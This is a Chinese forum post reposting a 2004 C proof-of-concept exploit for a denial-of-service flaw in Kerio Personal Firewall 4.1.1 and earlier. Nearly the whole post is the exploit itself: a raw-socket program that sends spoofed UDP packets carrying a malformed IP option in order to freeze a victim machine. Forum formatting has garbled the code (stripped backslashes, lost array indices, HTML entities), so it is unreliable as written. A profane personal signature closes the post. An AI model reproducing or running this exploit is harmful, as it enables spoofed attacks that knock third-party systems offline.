发新话题
打印

DoS exp for Kerio Personal Firewall version 4.1.1 and below

DoS exp for Kerio Personal Firewall version 4.1.1 and below

文章作者:houseofdabus
复制内容到剪贴板
代码:
/* HOD-kerio-firewall-DoS-expl.c: 2004-11-10
*
* Copyright (c) 2004 houseofdabus
*
* Kerio Personal Firewall Multiple IP Options Denial of Service PoC
*
* Coded by
*
*
*            .::[ houseofdabus ]::.
*
*
*
* Bug discoveried by eEye:
* [url]http://www.eeye.com/html/research/advisories/AD20041109.html[/url]
*
* ---------------------------------------------------------------------
* Tested on:
*    - Kerio Personal Firewall 4.1.1
*
* Systems Affected:
*    - Kerio Personal Firewall 4.1.1 and prior
*
* ---------------------------------------------------------------------
* Description:
*  The vulnerability allows a remote attacker to reliably render
*  a system inoperative with one single packet. Physical access is
*  required in order to bring an affected system out of this
*  "frozen" state. This specific flaw exists within the component
*  that performs low level processing of TCP, UDP, and ICMP packets.
*
* ---------------------------------------------------------------------
* Compile:
* Win32/VC++  : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
* Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
* Linux     : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
*
* ---------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
*  HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
*
*        -fi:IP    From (sender) IP address
*        -ti:IP    To (target) IP address
*        -n:int    Number of packets
*
* ---------------------------------------------------------------------
*
*  This is provided as proof-of-concept code only for educational
*  purposes and testing by authorized individuals with permission to
*  do so.
*
*/

/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h> /* IP_HDRINCL */

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_MESSAGE      4068
#define MAX_PACKET      4096

#define DEFAULT_PORT     53
#define DEFAULT_IP      "192.168.0.1"
#define DEFAULT_COUNT     1

#ifndef _WIN32
#     define FAR
#endif


/* Define the IP header */
typedef struct ip_hdr {
   unsigned char  ip_verlen;      /* IP version & length */
   unsigned char  ip_tos;        /* IP type of service */
   unsigned short ip_totallength;  /* Total length */
   unsigned short ip_id;         /* Unique identifier */
   unsigned short ip_offset;      /* Fragment offset field */
   unsigned char  ip_ttl;        /* Time to live */
   unsigned char  ip_protocol;     /* Protocol */
   unsigned short ip_checksum;     /* IP checksum */
   unsigned int  ip_srcaddr;     /* Source address */
   unsigned int  ip_destaddr;     /* Destination address */
} IP_HDR, *PIP_HDR, FAR* LPIP_HDR;


/* Define the UDP header */
typedef struct udp_hdr {
   unsigned short src_portno;     /* Source port number */
   unsigned short dst_portno;     /* Destination port number */
   unsigned short udp_length;     /* UDP packet length */
   unsigned short udp_checksum;    /* UDP checksum (optional) */
} UDP_HDR, *PUDP_HDR;


char udpmsg[] =
"x4bx65x72x69x6fx20x50x65x72x73x6fx6ex61x6cx20x46"
"x69x72x65x77x61x6cx6cx20x44x6fx53x20x50x6fx43x20"
"x28x34x2ex31x2ex31x20x61x6ex64x20x70x72x69x6fx72"
"x29x2ex20x43x6fx70x79x72x69x67x68x74x20x28x63x29"
"x20x32x30x30x34x20x68x6fx75x73x65x6fx66x64x61x62"
"x75x73x2e";


/* globals */
unsigned long  dwToIP,          /* IP to send to */
          dwFromIP;         /* IP to send from (spoof) */
unsigned short iToPort,          /* Port to send to */
          iFromPort;         /* Port to send from (spoof) */
unsigned long  dwCount;          /* Number of times to send */
char        strMessage[MAX_MESSAGE]; /* Message to send */



void
usage(char *progname) {
printf("Usage:nn");
   printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]nn", progname);
   printf("     -fi:IP    From (sender) IP addressn");
   printf("     -ti:IP    To (target) IP addressn");
   printf("     -n:int    Number of packetsn");
   exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
   int            i;

   iToPort = 53;
   iFromPort = DEFAULT_PORT;
   dwToIP = inet_addr(DEFAULT_IP);
   dwFromIP = inet_addr(DEFAULT_IP);
   dwCount = DEFAULT_COUNT;
memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);

   for(i = 1; i < argc; i++) {
      if ((argv[0] == &#39;-&#39;) || (argv[0] == &#39;/&#39;)) {
        switch (tolower(argv[1])) {
           case &#39;f&#39;:
              switch (tolower(argv[2])) {
                case &#39;i&#39;:
                   if (strlen(argv) > 4)
                      dwFromIP = inet_addr(&argv[4]);
                   break;
                default:
                   usage(argv[0]);
                   break;
              }   
              break;
           case &#39;t&#39;:
              switch (tolower(argv[2])) {
                case &#39;i&#39;:
                   if (strlen(argv) > 4)
                      dwToIP = inet_addr(&argv[4]);
                   break;
                default:
                   usage(argv[0]);
                   break;
              }   
              break;
           case &#39;n&#39;:
              if (strlen(argv) > 3)
                dwCount = atol(&argv[3]);
              break;
           default:
              usage(argv[0]);
              break;
        }
      }
   }
   return;
}


/*    This function calculates the 16-bit one&#39;s complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
   unsigned long cksum=0;

   while (size > 1) {
      cksum += *buffer++;
      size  -= sizeof(unsigned short);  
   }
   if (size) {
      cksum += *(unsigned char *)buffer;  
   }
   cksum = (cksum >> 16) + (cksum & 0xffff);
   cksum += (cksum >>16);

   return (unsigned short)(~cksum);
}




int
main(int argc, char **argv)
{
#ifdef _WIN32
   WSADATA         wsd;
#endif
   int            s;
#ifdef _WIN32
BOOL            bOpt;
#else
int            bOpt;
#endif
   struct sockaddr_in remote;
   IP_HDR         ipHdr;
   UDP_HDR         udpHdr;
   int            ret;
   unsigned long     i;
   unsigned short    iTotalSize,
               iUdpSize,
               iUdpChecksumSize,
               iIPVersion,
               iIPSize,
               cksum = 0;
   char          buf[MAX_PACKET],
               *ptr = NULL;
#ifdef _WIN32
   IN_ADDR         addr;
#else
struct sockaddr_in addr;
#endif

printf("nKerio Personal Firewall Multiple IP Options Denial of Service PoCnn");
printf("tCopyright (c) 2004 .::[ houseofdabus ]::.nn");

if (argc < 3) usage(argv[0]);

   /* Parse command line arguments and print them out */
   ValidateArgs(argc, argv);
#ifdef _WIN32
   addr.S_un.S_addr = dwFromIP;
   printf("
From IP: <%s>, port: %dn", inet_ntoa(addr), iFromPort);
   addr.S_un.S_addr = dwToIP;
   printf("
To  IP: <%s>, port: %dn", inet_ntoa(addr), iToPort);
   printf("
Count:  %dn", dwCount);
#else
   addr.sin_addr.s_addr = dwFromIP;
   printf("
From IP: <%s>, port: %dn", inet_ntoa(addr.sin_addr), iFromPort);
   addr.sin_addr.s_addr = dwToIP;
   printf("
To  IP: <%s>, port: %dn", inet_ntoa(addr.sin_addr), iToPort);
   printf("
Count:  %dn", dwCount);
#endif

#ifdef _WIN32
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
      printf("[-] WSAStartup() failed: %dn", GetLastError());
      return -1;
   }
#endif
   /*  Creating a raw socket */
   s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
   if (s == INVALID_SOCKET) {
      printf("[-] WSASocket() failed: %dn", WSAGetLastError());
      return -1;
   }
#endif

   /* Enable the IP header include option */
#ifdef _WIN32
   bOpt = TRUE;
#else
   bOpt = 1;
#endif
   ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
   if (ret == SOCKET_ERROR) {
      printf("[-] setsockopt(IP_HDRINCL) failed: %dn", WSAGetLastError());
      return -1;
   }
#endif
   /* Initalize the IP header */
   iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(udpmsg)-1 + 4;

   iIPVersion = 4;
   iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

   iIPSize += 1; /* IP options */

   ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
   ipHdr.ip_tos = 0;                 /* IP type of service */
   ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
   ipHdr.ip_id = 0;            /* Unique identifier: set to 0 */
   ipHdr.ip_offset = 0;         /* Fragment offset field */
   ipHdr.ip_ttl = 128;          /* Time to live */
   ipHdr.ip_protocol = 0x11;      /* Protocol(UDP) */
   ipHdr.ip_checksum = 0 ;        /* IP checksum */
   ipHdr.ip_srcaddr = dwFromIP;    /* Source address */
   ipHdr.ip_destaddr = dwToIP;     /* Destination address */

   /* Initalize the UDP header */
   iUdpSize = sizeof(udpHdr) + sizeof(udpmsg)-1;

   udpHdr.src_portno = htons(iFromPort);
   udpHdr.dst_portno = htons(iToPort);
   udpHdr.udp_length = htons(iUdpSize);
   udpHdr.udp_checksum = 0 ;


iUdpChecksumSize = 0;
   ptr = buf;
memset(buf, 0, MAX_PACKET);

   memcpy(ptr, &ipHdr.ip_srcaddr,  sizeof(ipHdr.ip_srcaddr));
   ptr += sizeof(ipHdr.ip_srcaddr);
   iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);

   memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
   ptr += sizeof(ipHdr.ip_destaddr);
   iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);

   ptr++;
   iUdpChecksumSize += 1;

   memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
   ptr += sizeof(ipHdr.ip_protocol);
   iUdpChecksumSize += sizeof(ipHdr.ip_protocol);

   memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
   ptr += sizeof(udpHdr.udp_length);
   iUdpChecksumSize += sizeof(udpHdr.udp_length);
   
   memcpy(ptr, &udpHdr, sizeof(udpHdr));
   ptr += sizeof(udpHdr);
   iUdpChecksumSize += sizeof(udpHdr);

for(i = 0; i < sizeof(udpmsg)-1; i++, ptr++)
      *ptr = strMessage;
   iUdpChecksumSize += sizeof(udpmsg)-1;

   cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
   udpHdr.udp_checksum = cksum;


   memset(buf, 0, MAX_PACKET);
   ptr = buf;

   memcpy(ptr, &ipHdr, sizeof(ipHdr));  ptr += sizeof(ipHdr);

   /* IP option (length = 0x00) */
   memcpy(ptr, "x88x00x12x34", 4);  ptr += 4;

   memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
   memcpy(ptr, strMessage, sizeof(udpmsg)-1);

   remote.sin_family = AF_INET;
   remote.sin_port = htons(iToPort);
   remote.sin_addr.s_addr = dwToIP;

   for(i = 0; i < dwCount; i++) {
#ifdef _WIN32
      ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
        sizeof(remote));

      if (ret == SOCKET_ERROR) {
        printf("[-] sendto() failed: %dn", WSAGetLastError());
        break;
      } else
#else
      ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
        sizeof(remote));
#endif
        printf("[+] sent %d bytesn", ret);
   }

#ifdef _WIN32
   closesocket(s);
   WSACleanup();
#endif

   return 0;
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题